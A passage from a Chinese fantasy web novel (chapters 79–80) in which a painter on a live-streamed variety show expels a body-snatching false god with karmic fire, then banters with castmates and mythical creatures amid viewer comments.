兽是人首马身的孰湖,那人一头白发高马尾,背对着他,正在给孰湖梳毛,孰湖眯着眼睛一脸享受的模样。
[卧槽!白发高马尾!这背影好绝,盲猜是个美人,长发美男不常见]
[为什么不是美女]
[因为比例啊,女的哪怕腰再细,胯骨也会宽一点,这位整一个倒三角啊]
[这个怪物是啥啊,居然长着人身子,好吓人]
[楼上不吓人的哦,这是孰湖,是瑞兽,不会做坏事,只喜欢举高高]
[好家伙,举高高是认真的吗]
弹幕刚说完,孰湖就站了起来,“嘤嘤”叫着把身前的举起来转了一圈放在身后。
这人的脸暴露在了摄像机面前。
[卧槽?第二个明神?]
[什么第二个明神,这是什么玩意,居然变成明神的样子]
[有没有可能是他的双胞胎]
[不可能,明神从来没说过他有兄弟]
见明眯起了眼睛,冷声问道“你是谁?”
“你说呢?”吴惟歪了歪头,“用着我的身体问我是谁?”
鬼当久了,人的视线真不习惯,头的偏过去了,视线还没啥变化,噫。
[???什么鬼,什么叫用着他的身体?]
“哼,装设弄鬼。”见明可不觉得是吴惟本人,因为那人已经去地府了,就不会有回来的可能。
他双手一伸,捏了一道法诀,“敕!”
周遭突然狂风大作,“刷刷”的声音响起丝丝缕缕的愿力化作一道道利刃像吴惟飞去。
“砰”
利刃碰上金色的墙壁瞬间炸开,吹乱了周遭的树木。
婴勺躲在树间,吓得惊叫起来,但身形确依旧稳定。
选择婴勺做摄影师也是因为它们虽然个头小,胆子也小,但稳定性极强,这么大的风暴镜头连晃都没有晃动一下。
见明愣住了,好浓郁的功德,现在这个年代还能拥有这么多功德?莫不是哪个老怪物,度过了天道的清算,活到了现在吧?
吴惟对祂的手段倒是不怎么惊讶,“原来愿力还可以这么用,果然活的久了手段也多。”
听到这话见明冷笑一声没有说话,祂认定了面前之人是个老怪物,自然以为他是在这装大头蒜。
祂没有行动,刚刚出手只是试探,对面之人深不见底,祂没办法确定若是对战,自己要付出多大的代价。
他在观察吴惟的同时,吴惟也在观察祂,不知为何,祂的气息给吴惟一种熟悉的感觉。
良久之后,见明率先开口了,“我们应当不是敌人。”
吴惟:“刚刚是你先出手的。”
[卧槽,刚刚好吓人,大气不敢出一下]
[刚刚那个应该不是特效吧,太真实了!]
[我觉得不是,妈耶头皮发麻,要真是特效,那这演的也太真了吧,另一个吴惟看起来好恐怖,黑发吴惟虽然看起来高高在上的样子,但还是人,白发那个眼神就是天机本机]
[你这么一说还真是,你们还记不记得他刚才说了句什么,我的身体,难道?]
[喂喂,你们怎么就入戏了,这一看就是提前拍好的特效啊]
[前面的容我提醒一句,这是直播,特效再厉害也不可能影响到周围环境]
[就不能是提前录好的吗?]
见明很能屈能伸,行礼道,“抱歉,道友的玩笑吓到我了,是以出手试探一下。”
“哦。”吴惟冷漠地说道,“可那又不是玩笑。”
熊熊的业火从吴惟体内奔涌而出,瞬间充斥整个空间。
见明猛然抬起头,瞳孔瞬间紧缩,“业火?”
“是啊,”放出业火之后,吴惟似是有了一丝感应,恍然道,“我知道你是谁了。”
“小安村。”
就是子车树一行人曾经去过的那个村落。
“你在说什么,我听不懂。”见明冷汗直流,尽量让自己的声音保持平稳。
若是人间的任何手段对付祂,祂都不可能害怕,现在的玄学手段,对他来说太过稚嫩。
哪怕修为比祂高的人,祂也能靠学的杂,手段多,打对方一个措手不及。
但是业火…
别说他只是一个小神,哪怕是远古那些大的神明,若是做了亏心事也不敢与之交锋。
若只是之前吴惟用来烧捆仙绳的新生业火,见明也不见得会怕,业火符阵新生的业火只是一个它的投射。
但吴惟的业火已经在轮回中淬炼过无数次,威能无限逼近于本体的高度,对付这么一个苟延残喘的家伙,可以说是杀鸡用牛刀了。
“不知道没关系,业火之下所有的谎言都是白搭。”吴惟的内心很平淡,平淡到冷酷。
明明他应该生气的,虽然警方在小安村挖出来的尸骨具体有多少,他不知道,但当时能大概感应到,数量肯定上百了。
没有怨气,是因为被吸食殆尽,连轮回的机会都被剥夺了,而这么个脏东西躲在他身体里,用他的愿力去。隐匿身形,逃避惩罚。
啧,真恶心啊。
吴惟第一次知道自己原来还有洁癖,这具身体不想要了怎么办?
“不行哦哥哥,活人的身体和傀儡是不一样的。”
活人可以拥有正常的五感,对世界的感触会更深,他可不希望他哥跟着自己受罪。
“好吧。”
业火迅速收拢,见明见事不妙,双手法诀变换极快,下一秒,人消失在原地——
“砰”
一声巨响,刚刚消
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失的人倒飞回来摔在了地上,红色的小龙出现在祂上方飞了一圈,落在吴惟肩膀上。
“哼!欺负惟的大坏蛋,你跑不掉的!”
“烛龙…”
见明不明白,祂只是想活下去,到底是得罪了谁,为什么会召来这么一个变态,竟然连上古神兽都站在他那边。
吴惟不再停顿,收拢业火封住了祂所有可以逃跑的空间,这才让业火扑了过去。
“等等!”
吴惟才不听祂啰嗦,业火的动作不停,瞬间燎上他的灵魂。
“啊——”
见明抱着身体滚作一团,“不,放过我…求…”
吴惟别过脸,啧,太难看了,还用他的脸,真的够了。
知道疼不知道离开他的身体吗,还占着。
[卧槽这是干嘛,好残忍]
[一点也不残忍好吗,我是玄门的人,我来科普,业火只烧罪恶的灵魂,若是你只是没有犯过大错的普通人,烧在身上一点感觉也没有]
[另外,补充一条,功德是只有做了好事才有的,这些金色的光芒就是功德,你们可以品品]
[居然有人能操控业火,真是活久见]
[课代表总结一下,第一龙叫白发吴惟“惟”,第二业火的特性,第三这个惟身上有功德,第四吴惟曾经在大地震里救过人,那么那个黑发吴惟为什么会被烧,而白发的吴惟快被功德腌入味了]
[所以一开始他说的全都是真的,他被人占了身体]
[放屁,明神帮助过多少人怎么没人提了,明神直播间里多少人求到他面前,他拒绝过谁了,凭什么他没有功德?]
“你不能…这么对我,我…救过…人…”
“那又如何。”吴惟冷酷道,“你救过多少人,又杀过多少人?你救的人够你抵消罪孽吗?”
“你救人是发自内心去救的吗?”
“功德论迹不论心的计算方式,可不包括你这种人,犯了错想要弥补,最少也得是真心。”
“你以为有了我的壳子就可以掩盖罪孽了?不会的,天道也许会有被蒙蔽的时候,但阴沟里的老鼠永远都见不了光。”
吴惟最讨厌放下屠刀立地成佛这种说法了,怎么,恶人想要洗白不经历痛苦就直接成佛是吧,凭什么呢?
这对受害人来说公平吗?
而地府最让有归属感的一点,就是她们可以拼尽全力去做到平等的对待每一个生命。
出来第一天,想家。
见明看无法说动吴惟,颤抖着爬起来,道,“我错了,我知道错了,我愿意下地狱,求您收回业火吧…”
地狱的刑罚磨人,但不至于这么痛苦。
当初吴惟被业火炙烤的时候,因为本身不是自己的业力,除了痛,没有别的感觉。
但见明不同,他被业火灼烧的每一分每一秒都在经历着不同的死亡,那现在他受伤死亡的灵魂遭受的一切,加倍返还到他本身。
这个请求合情合理,吴惟本身也确实没有处置他的立场,没有多犹豫,点头答应了。
“苍。”翠绿色的腾蛇从吴惟眉心飞出,变成一支笔。
“苍?”吴惟有些懵,让你帮忙联系地府,你在干啥?
“还记得怎么召唤鬼神吗,来用我召唤此地城隍。”
吴惟不理解它的用意,但还是照做了,他握住苍的笔身,用功德这下沅柩的名字。
金光一闪,沅柩现身。
“啧,这家伙应该不归我管。”沅柩嫌弃地看了一眼涕泗横飞的见明,“行叭,我拎走了,到时候交给阎罗处理。”
“有空记得来玩啊,小惟惟~”沅柩给了吴惟一个飞吻,拎着见明的魂体消失在眼前。
吴惟:我现在后悔还来得及吗…
[好家伙,刚刚被拽出来的灵魂,真的和吴惟长得不一样啊]
[我就知道,太太已经好久没画画了,性情也变了,我们都在说,他该不会被谁给替代了吧,谁能想到会是这种替代]
[好漂亮的大姐姐,太太这是被调戏了吗,哈哈哈小惟惟,可爱捏]
[话说你们有人注意到白发吴惟之前提到过的小安村吗,我刚刚去查了一下,卧槽真恐怖啊,因为村民信仰邪教,害死一百三十二人]
[我看了我看了,太恐怖了,只能说大家平时出去玩还是小心点,不要往偏远地区走吧]
[难怪吴惟会那么说,一百三十二人啊,杀了这么多人,凭什么因为做点好事就原谅他,更何况他做好事还是有目的,他用这个为自己谋了多少福利]
[玄门小贴士:你们的喜爱会化作愿力成为他的力量,他刚刚用来攻击的白光就是愿力所化]
[卧槽,卧槽,卧槽,还真是被利用的死死的,难怪他这么高调,就是为了这种力量吧]
[这也太恶心了]
.
79.第 79 章
“现在怎么办?”这是吴烬,但从同一个人嘴里说出来,很容易让人误会。
紧接着从一张嘴里说出了另外一种声音,当然声线还是一样的,只是语气变了。
吴惟走到趴在地上的人身面前,戳了戳自己的脸,一脸嫌弃地说道,“凉拌,我也不知道,好脏,不想回去。”
“要不我帮哥哥洗洗?”
“…算了吧,这肉身也不是非要不可嘛,我都死了…”吴惟低头看脚。
“哥,你才25岁,什么死不死的。”
“26…不,27了,老大不小了,你能不能不要老用那种老气横秋的口气说话,说好的是弟弟呢?”
“可是我身上所有灵魂的年龄加起来都几十万岁了哦。”
“我在轮回里也有几万岁了!”
“那些不算,那都不是正常的世界,怎么能算作真实年龄呢?”
“那你一个新生的灵魂也就应该算一岁多!”
[好幼稚…]
[几万岁的人这么幼稚的吗?]
[所以他们在说什么,什么灵魂加起来,什么轮回,什么几万岁?]
[笑死,根本听不懂,但是好好玩]
[有种破次元的美,嗯别人破次元是从二次元到三次元,太太是从三次元跑到了二次元]
[所以身体里是两个灵魂,一个吴惟,一个他弟弟,现在是哥哥不想回身体里弟弟在哄?草有点想嗑怎么办]
[楼上的这可不兴嗑,兄弟啊喂]
[可是听他们说话好像不是亲的欸]
[25岁和一岁其实应该算父子吧]
“算了,懒得跟你争辩,我自己洗。”吴惟用功德抓起躺在地上的肉身,直接扔进了河里上下涮了涮,又捞出来。
虽然粗暴,但是有效。
一通操作下来给人看的目瞪口呆。
[《洗》]
[妈耶,我以为是洗澡,结果你是洗衣服]
[灵魂的衣服叫做肉身,这何尝不是一种洗衣服呢]
[不是,你们接受的也太快了吧!]
[不接受行吗?反正三观已经碎了,拼拼也拼不起来了]
[至少这样快乐]
吴烬同样目瞪口呆,“不是哥,这样你鼻子和口腔里会进水吧…回去会很难受吧…”
而且现在天这么凉,真的不会感冒吗?
吴惟用功德把身上衣服烘干了,又把功德搓成小条,从七窍塞进去,带着多余的水钻了出来。
[太奢侈了!!功德再多也不是这么用的!不是等等,他的功德为什么可以碰到实体?]
[古书上有记载很早很早以前是可以的,但是质变是要量变的,这得拯救多少人才够啊,难不成跟他球门轮回有关系?]
“搞定。”
吴惟拍拍手,满意地看着自己的作品,全然不管自己的操作有多创人。
哦不,还差一点。
吴惟用功德化成梳子给自己头发打理了一下,随便扯了一根枯枝作为簪子吧头发固定在脑后,这才回到自己身体里。
“在木头人里待久了,好不习惯啊。”黑发的吴惟抬了抬胳膊,脸上表情突然僵住了。
“疼…”,感觉像是被打了一顿,而且,“血肉之躯有这么虚弱吗?”
他感觉小时候的症状又回来了,身体虚弱到走不动路。
吴烬:“哥…任何一个活人都经不起你这样折腾的。”
行叭,都怪见明那家伙,灵魂受到惩罚的同时也会殃及他的肉身,不然被他养的那么健康的身体,怎么可能短短一年之内变得这么虚弱。
吴烬:“……”
救命,他哥怎么变得这么孩子气,该不会是因为最近被那群同学刺激到有点变态了吧。
您老不想想之前在河里涮肉身的动作会不会伤到啊。
吴惟表示,他又不傻,那种行为再会伤到肉身,也不是带来虚弱感觉的元凶。
但是哥哥,你有没有想过,刚刚斗法的时候,您的身体可是被小龙崽子扔到了地上,没骨折已经算好的了!
吴烬脸色一变,赶忙上前检查,好在吴惟身上只是一点擦伤和淤青,都是皮外伤,没有伤及骨头。
[还好还好没有事,差点忘了之前打架的时候,太太身体可是从那么远的地方摔过来,嘶]
[对自己太狠了]
孰湖耐心等吴烬检查完,看他松了口气,知道崽崽没事了,就高兴地扑上来抱起他转圈圈,转了好久才放下来,吴惟差点要晕了。
[草…好好笑啊怎么回事,孰湖不仅会举高高,还会转圈圈,太可爱了]
[孰湖太可爱了+1不过有一说一,这个孰湖长得怎么这么眼熟]
[这不就是太太的设定嘛,眼熟正常…正常个屁呀,为什么设定会跑到现实中来?!]
[山精玩家默默举手]
[草,难怪大姐头当初要等这个孰湖呢,怕不是她也认识]
孰湖放下吴惟后,又举了会儿吴烬,这才跑过来邀请吴惟骑上来。
璃看吴惟没事了,从吴烬肩膀上飞到吴惟肩膀上。
“走吧,咱们回去吃饭。”
这次的综艺没有在食物上卡他们,毕竟山里到处都是牢底坐穿兽,怕他们万一逮到什么不该逮的,那可就乐子大了。
两人两兽穿过林子回到庄园,差不多就是午饭时间。
[好家伙,这是孰湖还是岩羊啊,刚刚那么大坡它直挺挺就上去了!]
[这脚,我也想要]
[想要+1]
之前孰湖上坡的时候,吴惟还不忘招呼婴勺飞过来,对着镜头说道,“当初在山区运送物资那么快捷,就是小孰湖的功劳,否则我们也救不下那么多人。”
[突然觉得对味了,这才是我们无为太太啊,一向不居功,泪目了]
[呜呜呜感谢小孰湖]
[原本还觉得这怪物长得好可怕,但是现在心里五味杂陈的,我决定多看看熟悉熟悉,它一点也不可怕,明明很可爱]
[是啊,就是喜欢举高高,让它举,它只是关心人类而已]
他们抵达庄园的时候,已经是十二点多了,其他队伍已经在等他们了。
余清秋一抬头就愣住了,原来吴惟是有双胞胎兄弟的吗?
“怎么了?”季慎思问完抬头顺着她的视线看过去,也看到他们了,他抬手打了声招呼,“呦~都解决了?”
“嗯。”吴惟瘫在孰湖背上,有气无力地回答一声,问道,“有吃的吗,低血糖了…”
“你还会低血糖?”季慎思有些惊讶,他这个老同学平时身体挺好的呀。
“都怪见明那个狗东西。”
余清秋发现吴惟的气质变了,说话的语气也变了,似乎和他最初见到的那人一样。
不过她没说什么,从茶几上拿了点心递给他。
别人的隐私还是少打听的好,她一向没什么好奇心。
“谢谢。”
这一点其他直播间的观众也发现了。
[怎么回事,我怎么感觉吴惟的气质变了?]
[我也有同感,接地气了好多,没有鼻孔看人,看着顺眼多了]
[等录播出来了你们就知道了,卧槽好大一场戏]
[前面的请说明白一点]
[简单来说就是,之前的吴惟不是吴惟,而是有脏东西占据他的肉身,现在人回来了自然就变了]
[为什么红字说的每一个字我都能看懂,但是连在一起我就看不懂了呢]
[都什么乱七八糟的,搁这儿搞封建迷信呢]
[精怪都出来了,还封建迷信,信假的东西那叫迷信,都是真的,那不叫迷信了好吧]
千叠离得远没动,反而是宁淮,反正他用飘的,很快飘到了吴惟面前,“老板,你回来了?”
[等等,什么老板?你们认识?]
[不说我都忘了,吴惟养过闹闹肯定认识啊,之前还装一副不认识的样子]
[可能单纯不认识那个脏东西吧,前面那个说的,不行等录播出来我一定得去看看出了什么事]
“唔…”吴惟啃着点心没空回他就点了点头。
过了一会儿,吴惟体力恢复点了,才问道,“你的骨笛呢?一直这么飘着没问题?”
“是有一点不舒服啦,刚刚和鹿鸣讨论新歌来着,就给忘了。”宁淮不好意思地挠了挠头。
吴惟无语,真不知道这家伙这么多年怎么过来的。
他转头跟吴烬要了之前奖励的伞,递给宁淮,“喏,之后出门记得打上。”
“谢谢老板!”
步坤灵原本在和千叠聊天,注意力瞬间被伞吸引了,“这伞…”
千叠:“怎么了?”
“这把伞应该是冥器吧?”
一般来说,冥器都是地下挖出来的,当然说它是地下挖出来的也没错,毕竟在地府炼制的。
“是从地府带回来的。”
步坤灵:“……”
不是,她只听师弟师妹们说过这次综艺会有一些很有趣的人,但是谁来告诉她为什么还会有这么野的?
地府?是她想的地府吗?
[槽多无口,什么叫从地府带回来的,不是哥们,你还去过地府?]
[信息量过于密集]
[感觉大脑过载了]
[所以某人是从地府杀回来的?]
[算了,放弃思考]
弹幕躺平了,步坤灵还在纠结,纠结到了饭桌上。
“说起来坤坤真的好厉害,你们不知道,我们路上遇到的小动物直接往她怀里钻。”
说这话的自然是步坤灵的搭档千叠了,她有些遗憾道,“可惜一上午没有碰到精怪的影子。”
“说起来神子大人也很招小动物来着。”这话是季慎思说的。
鹿鸣:“神子大人?”
“你们就不能别在外面叫外号吗?风神大人,神之嘴先生?”
千叠、季慎思:“…咳。”
[笑死,原来你们几个也认识]
鹿鸣:“原来你们认识?”
可以说和弹幕神同步了。
吴惟摊手:“对,大学同学,说起来你也该叫他们学长。”
鹿鸣突然发现吴惟好像变回去了,很像他们拍《万劫》的时候,只不过现在好像状态更放松了?
对了,那个时候他就跟千叠认识,之前他们装作不认识的样子太真了,鹿鸣都快忘了这茬了。
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“就这么说吧,”季慎思露出揶揄地表情,“在座的没有一个跟这小子没关系的。”
他指像鹿鸣,“学弟,他还给你画过画,演过你师父。”指宁淮,“你老板。”
指向千叠和自己,“同班同学。”
指向余清秋,“一个剧组。”
指向步坤灵,“你师弟师妹的好友。”
指向吴烬,“假胞弟。”
“不止。”余清秋说道,“他救过我妹妹,当时她被困在天水学校。”
“天水?”吴惟惊讶,“我想起来了,那个小班长和你长得很像。”
到底是学画画的,对一些比较有特色的人脸记忆还是很强的。
余清秋的妹妹和她眉眼很像,都是非常古典的类型。
不知道是因为审美刻意修饰还是什么原因,总之现代人很难看到这样的长相了。
“是的,你还记得。”余清秋挺惊讶的,毕竟那种情况下,人那么多,吴惟居然还能记得自己妹妹。
“你们长相比较有特点,我印象比较深,毕竟我是学画画的嘛。”
鹿鸣突然觉得对味了,把画画的挂在嘴边的才是他的学长。
果然之前那个人是被谁夺舍了吧!
“说起来还真巧,学长遇到的神秘嘉宾居然是弟弟。”
“不巧,我们黑箱了。”吴惟摊手,“也就是让咱家神之嘴先生说一句,绝对不会落单的事,不难的。”
鹿鸣:“?”
[好家伙,吓我一跳,你是懂黑箱的,笑死]
[确实啊,这比任何黑箱都有效,明目张胆啊属于是]
[这人设立的有点过了吧]
[不是,到现在还有人觉得这是特效啊?]
鹿鸣不是很想说话,你们拥有特殊能力的可真野。
他生硬得转移话题:“说起来我和宁淮老师也没遇到精怪,没想到学长一次遇到了两只。”
吴惟:“这个也不巧,他们是我带来的,没有小花花。”
鹿鸣:“?”
[笑死我了,鹿鸣你怎么净踩雷啊哈哈哈哈]
[不是这算不算作弊啊,自己还能带]
[又没有让它们帮忙,不算吧]
鹿鸣表示无语凝噎,他很艰难地问了一句,“这里的精怪你不会都认识吧?学长…”
“没有,节目组塞进来的肯定是我不认识的,不然也不公平啊…”吴惟沉吟了一下,“要不我还是退赛吧,这里我来过,环境很熟悉,确实不算公平了。”
鹿鸣:“?”
梅开三度了属于是。
“哦对,学长你之前赈灾来着,会来过不奇怪。”
“我在这呆了一个月左右,被某些人强制休假来着。”吴惟满脸怨念,“周边都被我画了一个遍。”
[?卧槽,我就说怎么这么眼熟,刚刚打开太太主页对了一下,果然是画过的地方]
[而且是各种角度特别多,论当时的太太多无聊,只能画画解闷了]
[一百多张啊,谁懂,就算是速写,画太多也会腻吧,然而他没有]
[我是美术生,我太懂了!]
“倒也不必…”鹿鸣感觉有些无力,虽然学长变正常了,但是原来正常的学长也是克他的吗?
不是,学长你今天话也太多了吧,说好沉默寡言的呢?崩人设了啊喂!
吴惟倒不是故意的,主要是这几天被他们班那群家伙整应激了,开启了吐槽模式,心里话是一点也不憋着。
不然痛苦的只会是自己:)
毕竟压力太大需要释放空间不是吗?
别说,还挺爽,社恐是什么,能吃吗?只要不看评论,所谓的观众都是不存在的。
更何况就那伪神一搞,他口碑都没了,以前的画友和画粉估计早跑光了,他一个光脚的怕谁?
不过这话也就心里吐槽吐槽了,某些人该社恐的时候还是社恐,该怕的时候还是怕的。
季慎思插嘴道,“要退赛的话我觉得步姐也得退,吸引小动物的体质有点过分欸!”
宁淮疯狂点头,余清秋忽然想起当初朝着吴惟冲过去的马儿,也跟着点头。
跟步坤灵一组的千叠不乐意了,“有点特殊能力怎么了,这么算的话你也得退,毕竟万一你来一句,大家都能遇到精怪岂不是全玩完。”
鹿鸣:“不是姐姐,怎么还带给人提供思路的。”
季慎思:“好主意,你们…”
吴惟:“收声。”
“……?”季慎思声音突然被掐断了,一脸震惊看向吴惟,弹幕快笑疯了。
步坤灵:“噗…言灵是给你这么用的。”
[来呀,互相伤害啊]
[笑死,言灵是这么用的吗]
[这不是各凭本事嘛,怎么玩不起?吸引小动物也是他们神修的本事,言灵怎么不算呢 #狗头# ]
[这里给大家解释一下,不是神之嘴听话,是神子大人用言灵给他强行闭麦了]
[草啊,还能这样]
[突然发现太太好癫啊,以前明明是那么羞涩的大男孩]
[神特么羞涩大男孩哈哈哈哈,看把孩子逼的,社恐属性都靠边站了]
.
80.第 80 章
哪怕强制闭麦,最终还是让季慎思得逞了,毕竟谁也不可能时刻管住一个人说话吧。
不过好在他只给吴惟和步坤灵上了debuff。
千叠没办法,只能自己走了,步坤灵起初不太相信的,毕竟在季慎思身上没感觉到什么能量波动。
但三天时间里,她发现大家都遇到了各种精怪,只有她和吴惟没有的时候有些怀疑人生。
吴惟就不同了,他乐得自在,权当休假了,没事就骑着孰湖去山里找人,抓到一个就让孰湖上去举高高。
活像一个随机刷新的地图npc。
“不是谁能管管这家伙?”季慎思有点崩溃,这报复心是不是有点太强了?
路上走的好好的,突然就出现一只孰湖把他抱起来这合理吗?
[笑死了,每日成就之举高高已完成]
[太好玩了,这种情节就该多来点]
[没错,不过说真的,我还是想吐槽一下这个神之嘴,太神了,这么多天真就一只精怪没碰上]
[可不,看看之前,秋秋刚哄走一只鸭鸭,孰湖后脚就到了,完美错过]
[秋秋也是莽啊,我没看错的话那应该是一只鸭砖,哄不好就给你一板砖那种]
[咦?哪来的板砖?]
[不是哪儿来的,是它会直接变成板砖]
[??这些些精怪都是什么奇奇怪怪的东西]
[这有啥呢,上午那只小猴子才好玩呢,一看到人就我倒,一背过去就上来偷袭,活像个草史莱姆]
[前面的原来你也…]
有的时候弹幕总是神同步,比如这会儿千叠就在跟众人抱怨呢,“这什么草史莱姆转世啊,太皮了,真不知道大姐头从哪找来这么多奇怪的家伙。”
“听起来像幽鴳?”吴惟不太确定。
步坤灵:“就是幽鴳,它就是闹腾点,伤害性不高。”
千叠点头,“它就跳上来,一点重量也没有,走的时候还给了小花花。”
“你遇到的还知道陪你玩了,给你小花花,我遇到这只不给,还老是跟着我!”季慎思阴阳怪气。
吴惟:“那还真不好意思呢,我没有花。”
[崽你不是精怪,是人!是人!!]
[这才多久啊,太太变成崽了,你们这群善变的女人]
[大龄幼崽,笑死,但是他真的好幼稚(指那种不伤害人的幼稚)]
步坤灵:“噗…好主意啊,等我下午就去跟着宁哥,这样大家都在同一起跑线上了。”
[特指每队只有一人]
[神之嘴:搬起石头砸住自己的脚,就问疼不疼]
季慎思无语,很干脆解除咒语,“祝我们所有人都遇不到精怪。”
当天下午,一脸疲惫回庄园的季慎思,发现一下午没出门的吴惟被各种奇形怪状的精怪围了。
什么皮毛顺滑的白色的大狗(谿边),两只尾巴的小猴子(蜼),什么小巧迷你的羊羔(羊魃),还有优雅的黑色小鹿(玄鹿)…
[666虽然之前有人科普过神修比较吸引精怪注意,但是这也太吸引了吧]
[人在家中坐,怪从四周来,你们不在吴惟直播间的不知道,它们真的是从各个地方钻出来的]
[侧面可见,神之嘴的威力有多强大,这么大的魅力居然一句话给掩盖了!]
[看看毒奶的表情,真的会笑死]
[尤其是坤姐回来了,又带了一大群,果然禁止他们是对的,笑死]
[可不,这几天就没看见几只,结果你告诉我神修随便逛一圈就能勾引出来,太离谱了]
[世界的参差]
当天晚上,吴惟和步坤灵获得了剩下的所有小花花,录制被迫停止。
导演:……头秃
平时他们都是录够了七天的,这次有点短,果然能力特殊的玩意好难控制。
[好家伙,这是最短的一期吧,一共才五天]
[其实也没关系吧,素材够了,太搞笑了,果然世界一旦癫起来…]
[主要是这次都是真的啊,不过话说回来抢占身体因该算是刑事案件了?这还能播,居然没被封?]
[我也想说,虽然打架看的好爽,咱们惟崽甚至动都没动一下,果然电视剧都是骗人的]
[电视剧那是为了美化好吧,真要不动一下你看啥,特效对轰嘛?]
[但是惟崽光站在那就好帅!]
[因为眼神吧,毕竟他们是真打啊,平时演员能有这经历?]
[去他的美化,能一动不动的仅此一例好吧,我们正经玄门是要掐诀念咒,甚至画符布阵的,谁特么跟这小变态一样一个眼神过去就完了!!!]
[破防了家人们,谁家没事直接起业火啊,老祖宗都没这么奢侈的!!]
导演瞄了一眼弹幕,决定要不然最后两天聊天科普得了,不论如何时间得给我凑够了。
没错,导演本人强迫症挺重,之前给他上一季砍了一半,跟其他季长度都不一样就让它难受了好久,总不能在这再砍一半吧?
倒不是不想让他们和精怪互动,但这待遇差别太大了,可以说有精怪作弊,什么游戏都玩不下去。
“读弹幕?”季慎思欲言又止,“这是没活了吗?”
导演:“你猜为什么没活了?”
季慎思看了一眼隔壁bug本身,秒懂。
这还玩什么,真要玩应该把玄门那群家伙请过来斗法,而不是让普通的跟那群变态掺合到一起玩。
[也不是不行,我觉得普通人和他们这群奇奇怪怪的人凑在一起最有意思的应该是思想碰撞]
[也是吼,还是可以期待一下,能演示一些法术更好了]
[说起来有人知道为什么他们斗法能够看见吗?镜头的问题?]
导演把这条弹幕读了出来。
“这个啊——”回答的是步坤灵,“是官方出品的哦,咱国家有专门针对特殊事件成立的部门叫特殊事件管理局,简称特事局。”
[听起来好像动漫设定啊]
步坤灵:“说不定灵感就是从这儿来的呢。”
“确实挺动漫的,我们的网站名字叫异次元,”吴惟吐槽,“就是你们想的那个异次元。”
[不是你们取名这么野的吗?]
[好家伙,那不是二次元app嘛,居然玄门也在,为什么我们没看到哇]
步坤灵:“是有特殊入口的,需要注册,平时不对外开放。”
[官方组织欸,像龙组那样?]
“不算吧,至少现实中的没有小说里那么厉害,因为玄门很多都有自己的宗门和派系,不一定会加入特事局。”
“应该说加入的人不多,像我的门派就只是跟官方有合作而已。”
“不过官方科技和玄学结合做的挺好的,这种能够记录气机的摄像头也是他们做出来的。”
[坤姐是什么门派鸭,还有无为无尽呢?你们都是玄门中人吧?]
“我的门派叫隐峰,一是因为门派隐蔽,很难被找到,二是因为有我们门门派里都是一些注定早夭的天才命格。”
“师门告诫我们要隐藏自己的锋芒才能好好活下去。”
至于现在能堂而皇之的说出来,是因为她的命劫早就过了,自然就无所谓了。
步坤灵说完转头示意吴惟,吴惟点点头,说道:“我们情况比较特别,不是玄门任何一脉。”
“硬要说的话我的师承算是地府,我的符阵都是判官笔教我的。”
[???]
[?知道你路子野,但是太野了吧?!]
步坤灵愣了一下:“你不是神修?”
“算是半个吧,平时画画收集一些愿力,我应该算符阵师,毕竟平时符阵用的比较多。”
吴惟解释了一下,说道,“步姐应该知道四大符阵吧?”
步坤灵点头,“在古籍上看到过,祝福、业火、因果和归终。”
吴惟补充:“四大符阵对应的是地府四大功曹,赏善、罚恶、阴律、查察。”
[没看懂,这有什么联系吗]
[赏善和祝福,罚恶和业火看懂了,阴律司我搜了一下是记录人间功过和阳寿的,跟因果有关,查察和归终还真没看懂]
[归终说的是一种可以知悉未来的神兽,而知悉未来也需要通晓过去才能推算,所以归终应该是可以查到任何事]
[这个我听长辈提起过,确实是前面说的那样]
“我的符阵就是从判官笔那里学来的,所以只会这些,按照人间学习符阵的路子,反而学不会。”
“也是因为最开始在画里画了符阵来着,一不留神把愿力聚集起来了,干脆走了神修的路子。”吴惟摊手。
[一不小心…]
[重新定义不小心…]
[凡尔赛属于是,话说太太画了什么符阵?盲猜一个祝福,我有段时间运气特别好,就是《天官》出来之后]
“当然,因为四大符阵和其他符阵路数不太一样,我虽然算是个符阵是,却对风水一窍不通。”
“顺带一提,人间学符阵的路子就是先学风水。”
“是的祝福,天官是第一张,我也是从那个时候才学会画符阵的。”这句是回之前那个弹幕的。
说的颠三倒四的,果然他一点也不适合在人前宣讲,吴惟内心小声逼逼。
[这么一说我也…]
[原来是这样吗,为什么我没感觉?]
“符阵效果看很多方面,一个是你个人品行,还有就是对作品的喜爱程度,换句话说就是付出的愿力,自己你自身的气运。”
“而且符阵本身是需要因地制宜的,像这种网上发的,给大众看的,效果会打很多折扣。”
步坤灵:“你四大符阵都会?”
“嗯。”
“我之前就想问了,你怎么会和地府有关系?是因为之前上你身的东西?”
“步姐看出来了?”
“那家伙给人感觉就不舒服,当然看出来了,更何况你连装都没带装的,这要是看不出来,岂不是瞎子了?”
[还真是,一个高高在上,一个平易近人,前后完全就是俩人]
[平易近人指,天下皆是刍狗,眼里什么都看不见?]
[笑死,确实,太太有时候看起来很矛盾,好像神都看不进,又好像什么都看到了]
“那个啊…”吴惟眼神露出一起怀念,“我那天出门扔垃圾,被一根判官笔砸到了…”<
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p>吴惟讲述起他和婴灵的初遇,很好笑,也很温馨。
[有一种很萌的感觉,小小的判官hhh]
[不知道为什么,从惟崽视角来说,好像养崽崽]
[可不就是养崽崽,因为死的早什么都不懂,一点一点教她怎么在人间生活,突然好想嗑一口]
[什么都只会让你…]
“营养均衡。”盯着弹幕的千叠下了一句定义。
“没事,随便嗑,我们班各种杂食党。”
吴惟:“我说风神大人你别乱教好不好,我又不恋童!”
“嗯嗯,你恋笔,我们都知道的,但是嗑一下又不妨碍你。”
吴惟:“?”
[哈哈哈哈恋笔可还行]
[没毛病,惟崽是真的跟笔生孩子,笑死了]
[这么一说还真是,那么多oc可不都是他自己画出来的]
[太生草了,这你们也嗑的下去]
[怎么不能嗑,创世神和他的画笔,每一个创作者都是创世神!]
吴惟只觉得回旋镖扎到了自己身上,这话也太耳熟了,他是不是在哪里说过?
“阿烬是鬼修,我在地府认的弟弟,没别的了,”吴惟干脆利落结束话题,“没别的问题的话下一个。”
[等等太太我想问孰湖,既然你是天官的时候才学的,那为什么之前就画过孰湖?]
“它最早认识的是大姐头,这个你得问她,当时孰湖出现在我面前的时候我也很震惊。”
[所以大姐头也是玄门的?]
“不是。”
[我想问地府到底是什么样的,最近在搞地府oc来着]
吴惟捏捏脖子思忖道,“这个以后可以单独开一期,或者我看看能不能把在地府画的作品搬上来…”
[?在地府画的作品]
[地府也可以画吗?或者说地府也可以正常生活吗?]
